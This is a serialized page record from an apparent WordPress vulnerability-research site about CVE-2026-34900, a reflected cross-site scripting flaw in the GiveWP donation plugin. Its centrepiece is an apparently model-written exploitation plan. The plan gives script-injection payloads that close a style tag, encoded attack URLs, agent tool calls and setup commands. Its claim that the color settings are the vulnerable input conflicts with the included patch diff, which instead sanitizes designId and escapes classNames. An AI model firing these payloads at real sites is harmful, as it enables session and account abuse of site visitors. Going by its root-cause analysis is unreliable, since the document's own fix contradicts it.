[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fPZcenW89uVESX_qp06-8wCl8QMIwUsqVtDuuEiitodo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-34900","givewp-donation-plugin-and-fundraising-platform-reflected-cross-site-scripting-4","GiveWP – Donation Plugin and Fundraising Platform \u003C= 4.14.2 - Reflected Cross-Site Scripting","The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 4.14.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.","give",null,"\u003C=4.14.2","4.14.3","medium",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-21 00:00:00","2026-04-30 14:55:55",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F41c2edae-9788-47ad-bf0b-aa944893c4e2?source=api-prod",10,[22,23,24,25,26,27,28],"give.php","languages\u002Fgive.pot","readme.txt","src\u002FDonationForms\u002FControllers\u002FDonationFormViewController.php","src\u002FDonationForms\u002FProperties\u002FFormSettings.php","src\u002FDonationForms\u002FViewModels\u002FDonationFormViewModel.php","vendor\u002Fcomposer\u002Finstalled.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-34900 (GiveWP Reflected XSS)\n\n## 1. Vulnerability Summary\nThe **GiveWP** plugin (\u003C= 4.14.2) is vulnerable to **Reflected Cross-Site Scripting (XSS)** via the donation form preview functionality. The vulnerability exists because the `DonationFormViewController` allows user-supplied form settings (specifically colors) to be passed into a `DonationFormViewModel`, which then reflects these values directly into an inline CSS block via `wp_add_inline_style()` without sanitization or escaping. An attacker can use CSS breakout techniques to inject a `\u003C\u002Fstyle>` tag followed by arbitrary JavaScript.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: The main site frontend (WordPress root).\n- **Trigger Query Parameter**: `give-form-preview` (This activates the `preview` method in `DonationFormViewController`).\n- **Vulnerable Parameter**: `form_settings[primaryColor]` or `form_settings[secondaryColor]`.\n- **Authentication**: Unauthenticated (The preview route is designed to display a form based on provided state, often used by the administrative Visual Form Builder but accessible to anyone if the ID is known).\n- **Preconditions**: A valid Donation Form ID (`formId`) must exist.\n\n## 3. Code Flow\n1.  **Entry Point**: A request is made to `\u002F?give-form-preview={ID}&form_settings[primaryColor]={PAYLOAD}`.\n2.  **Controller**: The request is routed to `Give\\DonationForms\\Controllers\\DonationFormViewController::preview()`.\n3.  **DTO Mapping**: The query parameter `form_settings` is mapped to the `formSettings` property of the `DonationFormPreviewRouteData` DTO.\n4.  **ViewModel Initialization**: `DonationFormViewController::preview()` (line 44) instantiates `DonationFormViewModel`, passing the untrusted `$data->formSettings`.\n5.  **Style Enqueueing**: During the rendering process, `DonationFormViewModel::enqueueGlobalStyles()` (line 110) is called.\n6.  **Reflection**:\n    - `primaryColor()` (line 89) returns `$this->formSettings->primaryColor` (the raw payload).\n    - `wp_add_inline_style()` (line 122) is called with the following string:\n      ```php\n      \":root {\n      --givewp-primary-color:{$this->primaryColor()};\n      --givewp-secondary-color:{$this->secondaryColor()};\n      }\"\n      ```\n7.  **Sink**: WordPress outputs the CSS inside a `\u003Cstyle>` tag. The payload `};\u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>` breaks out of the CSS rule and the style tag, executing the script.\n\n## 4. Nonce Acquisition Strategy\nThe `preview` route in `DonationFormViewController` is typically used for live previews in the editor and often does not enforce a nonce for the **viewing** action itself (as reflected XSS targets the victim's session). \n\nIf a nonce were required (e.g., `give_preview_nonce`), it would be found in the admin dashboard where the form builder is used. \n- **Shortcode**: `[give_form]` or `[give_receipt]`.\n- **Strategy**: \n    1. Create a form to get a valid ID.\n    2. Check if the preview route `\u002F?give-form-preview={ID}` loads without a nonce.\n    3. If a nonce is required, it is likely localized in the `giveAdminDonationFormConfig` or similar JS object.\n\n*Note: For Reflected XSS, the lack of a nonce in the controller's `preview` method is the primary weakness.*\n\n## 5. Exploitation Strategy\n### Step 1: Discover\u002FCreate Form ID\nUse WP-CLI to find an existing form ID.\n```bash\nwp post list --post_type=give_forms --field=ID --limit=1\n```\n\n### Step 2: Construct Payload\nThe payload must:\n1. Close the CSS variable assignment: `;`\n2. Close the `:root` selector: `}`\n3. Close the `\u003Cstyle>` tag: `\u003C\u002Fstyle>`\n4. Inject the script: `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n\n**Payload**: `x; } \u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n**URL Encoded**: `x%3B%20%7D%20%3C%2Fstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E`\n\n### Step 3: Execute Request\nUsing the `http_request` tool, navigate to the preview URL.\n\n- **Method**: `GET`\n- **URL**: `http:\u002F\u002Fvulnerable-site.tld\u002F?give-form-preview={ID}&form_settings[primaryColor]=x;%20%7D%20%3C\u002Fstyle%3E%3Cscript%3Ealert(document.domain)%3C\u002Fscript%3E`\n\n## 6. Test Data Setup\n1.  **Requirement**: At least one GiveWP Donation Form must exist.\n2.  **WP-CLI Setup**:\n    ```bash\n    # Ensure GiveWP is active\n    wp plugin activate give\n    \n    # Create a dummy donation form\n    wp post create --post_type=give_forms --post_title=\"XSS Test Form\" --post_status=publish\n    ```\n\n## 7. Expected Results\n- The HTTP response will contain the literal string: \n  `--givewp-primary-color:x; } \u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>;`\n- The browser will render a `\u003Cstyle>` tag that is prematurely closed, followed by a `\u003Cscript>` tag.\n- The `alert(document.domain)` box will trigger in the browser environment.\n\n## 8. Verification Steps\n1.  **Manual View**: Use `browser_navigate` to the constructed URL.\n2.  **DOM Check**: Use `browser_eval` to check if a specific \"canary\" variable injected via the XSS exists:\n    ```javascript\n    \u002F\u002F Payload: x; } \u003C\u002Fstyle>\u003Cscript>window.xss_vulnerable = true;\u003C\u002Fscript>\n    browser_eval(\"window.xss_vulnerable\") \u002F\u002F Should return true\n    ```\n3.  **Source Check**: Inspect the returned HTML to confirm the `wp-add-inline-style` block contains the raw payload.\n\n## 9. Alternative Approaches\n### Parameter: `secondaryColor`\nIf `primaryColor` is sanitized in some edge case, the same vulnerability exists in `secondaryColor()` (line 104) and is used identically in `enqueueGlobalStyles()`.\n\n### Vector: JSON-encoded `form_settings`\nIf the DTO expects a JSON string instead of an array, the payload would be:\n`?give-form-preview={ID}&form_settings={\"primaryColor\":\"x; } \u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>\"}`\n\n### Vector: Post Meta Preview\nThe `preview` method also falls back to `$donationForm->settings`. If an attacker can influence a form's settings (e.g., via a different vulnerability), this becomes **Stored XSS** triggered whenever the preview is viewed.","The GiveWP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the donation form preview functionality. Unauthenticated attackers can inject arbitrary JavaScript by supplying malicious values for form settings like primaryColor, which are reflected directly into an inline CSS block without proper sanitization or escaping.","\u002F\u002F src\u002FDonationForms\u002FControllers\u002FDonationFormViewController.php:41\npublic function preview(DonationFormPreviewRouteData $data): string\n{\n    \u002F** @var DonationForm $donationForm *\u002F\n    $donationForm = DonationForm::find($data->formId);\n\n    $viewModel = new DonationFormViewModel(\n        $donationForm->id,\n        $data->formBlocks ?: $donationForm->blocks,\n        $data->formSettings ?: $donationForm->settings,\n        true\n    );\n\n    ob_clean();\n    return $viewModel->render();\n}\n\n---\n\n\u002F\u002F src\u002FDonationForms\u002FViewModels\u002FDonationFormViewModel.php:140\npublic function enqueueGlobalStyles()\n{\n    (new RegisterDesignSystemStyles())();\n    wp_enqueue_style('givewp-design-system-foundation');\n\n    wp_register_style(\n        'givewp-base-form-styles',\n        GIVE_PLUGIN_URL . 'build\u002FbaseFormDesignCss.css'\n    );\n\n    wp_add_inline_style(\n        'givewp-base-form-styles',\n        \":root {\n        --givewp-primary-color:{$this->primaryColor()};\n        --givewp-secondary-color:{$this->secondaryColor()};\n        }\"\n    );\n\n    wp_add_inline_style(\n        'givewp-base-form-styles',\n        wp_strip_all_tags(give_get_option('custom_form_styles', ''))\n    );\n\n    wp_enqueue_style('givewp-base-form-styles');\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fgive.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fgive.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fgive.php\t2026-02-25 17:24:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fgive.php\t2026-03-11 18:43:04.000000000 +0000\n@@ -6,7 +6,7 @@\n  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.\n  * Author: GiveWP\n  * Author URI: https:\u002F\u002Fgivewp.com\u002F\n- * Version: 4.14.2\n+ * Version: 4.14.3\n  * Requires at least: 6.6\n  * Requires PHP: 7.4\n  * Text Domain: give\n@@ -425,7 +425,7 @@\n     {\n         \u002F\u002F Plugin version.\n         if (!defined('GIVE_VERSION')) {\n-            define('GIVE_VERSION', '4.14.2');\n+            define('GIVE_VERSION', '4.14.3');\n         }\n \n         \u002F\u002F Plugin Root File.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fsrc\u002FDonationForms\u002FControllers\u002FDonationFormViewController.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fsrc\u002FDonationForms\u002FControllers\u002FDonationFormViewController.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fsrc\u002FDonationForms\u002FControllers\u002FDonationFormViewController.php\t2023-11-02 19:14:30.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fsrc\u002FDonationForms\u002FControllers\u002FDonationFormViewController.php\t2026-03-11 18:43:04.000000000 +0000\n@@ -12,6 +12,7 @@\n     \u002F**\n      * This renders the donation form view.\n      *\n+     * @since 4.14.3 Prevent triggering a fatal error due to form not found.\n      * @since 3.0.0\n      *\u002F\n     public function show(DonationFormViewRouteData $data): string\n@@ -19,6 +20,14 @@\n         \u002F** @var DonationForm $donationForm *\u002F\n         $donationForm = DonationForm::find($data->formId);\n \n+        if (!$donationForm) {\n+            wp_die(\n+                esc_html__('Donation form not found.', 'give'),\n+                esc_html__('Not Found', 'give'),\n+                ['response' => 404]\n+            );\n+        }\n+\n         $viewModel = new DonationFormViewModel(\n             $donationForm->id,\n             $donationForm->blocks,\n@@ -32,6 +41,7 @@\n     \u002F**\n      * This renders the donation form preview\n      *\n+     * @since 4.14.3 Prevent triggering a fatal error due to form not found.\n      * @since 3.0.0\n      *\u002F\n     public function preview(DonationFormPreviewRouteData $data): string\n@@ -39,6 +49,14 @@\n         \u002F** @var DonationForm $donationForm *\u002F\n         $donationForm = DonationForm::find($data->formId);\n \n+        if (!$donationForm) {\n+            wp_die(\n+                esc_html__('Donation form not found.', 'give'),\n+                esc_html__('Not Found', 'give'),\n+                ['response' => 404]\n+            );\n+        }\n+\n         $viewModel = new DonationFormViewModel(\n             $donationForm->id,\n             $data->formBlocks ?: $donationForm->blocks,\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fsrc\u002FDonationForms\u002FProperties\u002FFormSettings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fsrc\u002FDonationForms\u002FProperties\u002FFormSettings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fsrc\u002FDonationForms\u002FProperties\u002FFormSettings.php\t2025-05-21 20:18:30.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fsrc\u002FDonationForms\u002FProperties\u002FFormSettings.php\t2026-03-11 18:43:04.000000000 +0000\n@@ -284,6 +284,7 @@\n     public bool $inheritCampaignColors;\n \n     \u002F**\n+     * @since 4.14.3 Sanitize designId property\n      * @since 4.1.0 Added $inheritCampaignColors\n      * @since 3.16.0 Added $enableReceiptConfirmationPage\n      * @since 3.7.0 Added formExcerpt\n@@ -318,7 +319,7 @@\n             : GoalProgressType::ALL_TIME();\n         $self->goalStartDate = $array['goalStartDate'] ?? '';\n         $self->goalEndDate = $array['goalEndDate'] ?? '';\n-        $self->designId = $array['designId'] ?? null;\n+        $self->designId = isset($array['designId']) ? sanitize_html_class($array['designId']) : null;\n         $self->inheritCampaignColors = $array['inheritCampaignColors'] ?? false;\n         $self->primaryColor = $array['primaryColor'] ?? '#2d802f';\n         $self->secondaryColor = $array['secondaryColor'] ?? '#f49420';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fsrc\u002FDonationForms\u002FViewModels\u002FDonationFormViewModel.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fsrc\u002FDonationForms\u002FViewModels\u002FDonationFormViewModel.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.2\u002Fsrc\u002FDonationForms\u002FViewModels\u002FDonationFormViewModel.php\t2025-05-21 20:18:30.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fgive\u002F4.14.3\u002Fsrc\u002FDonationForms\u002FViewModels\u002FDonationFormViewModel.php\t2026-03-11 18:43:04.000000000 +0000\n@@ -280,6 +280,7 @@\n      * 5. Finally, call the specific WP function wp_print_footer_scripts()\n      *  - This will only print the footer scripts that are enqueued within our route.\n      *\n+     * @since 4.14.3 Escape HTML attributes for classNames property\n      * @since 3.20.0 Adds class for form design\n      * @since 3.11.0 Sanitize customCSS property\n      * @since 3.0.0\n@@ -315,7 +316,7 @@\n \n         \u003Cdiv data-theme=\"light\" id=\"root-givewp-donation-form\"\n              data-iframe-height\n-             class=\"\u003C?= implode(' ', $classNames) ?>\">\u003C\u002Fdiv>\n+             class=\"\u003C?= esc_attr(implode(' ', $classNames)) ?>\">\u003C\u002Fdiv>\n \n         \u003C?php\n         wp_print_footer_scripts();","To exploit this vulnerability, an attacker needs to find a valid Donation Form ID. They then construct a GET request to the WordPress site using the `give-form-preview` query parameter to trigger the preview logic. The payload is passed through the `form_settings` array, specifically the `primaryColor` or `secondaryColor` keys. A payload such as `};\u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>` will break out of the inline CSS variable block generated by `wp_add_inline_style`, close the style tag, and execute arbitrary JavaScript in the context of the user's browser. This attack is unauthenticated but requires the attacker to know a valid form ID and trick a victim into clicking the malicious link.","gemini-3-flash-preview","2026-05-04 19:10:59","2026-05-04 19:11:48",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","4.14.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags\u002F4.14.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgive.4.14.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags\u002F4.14.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgive.4.14.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgive\u002Ftags"]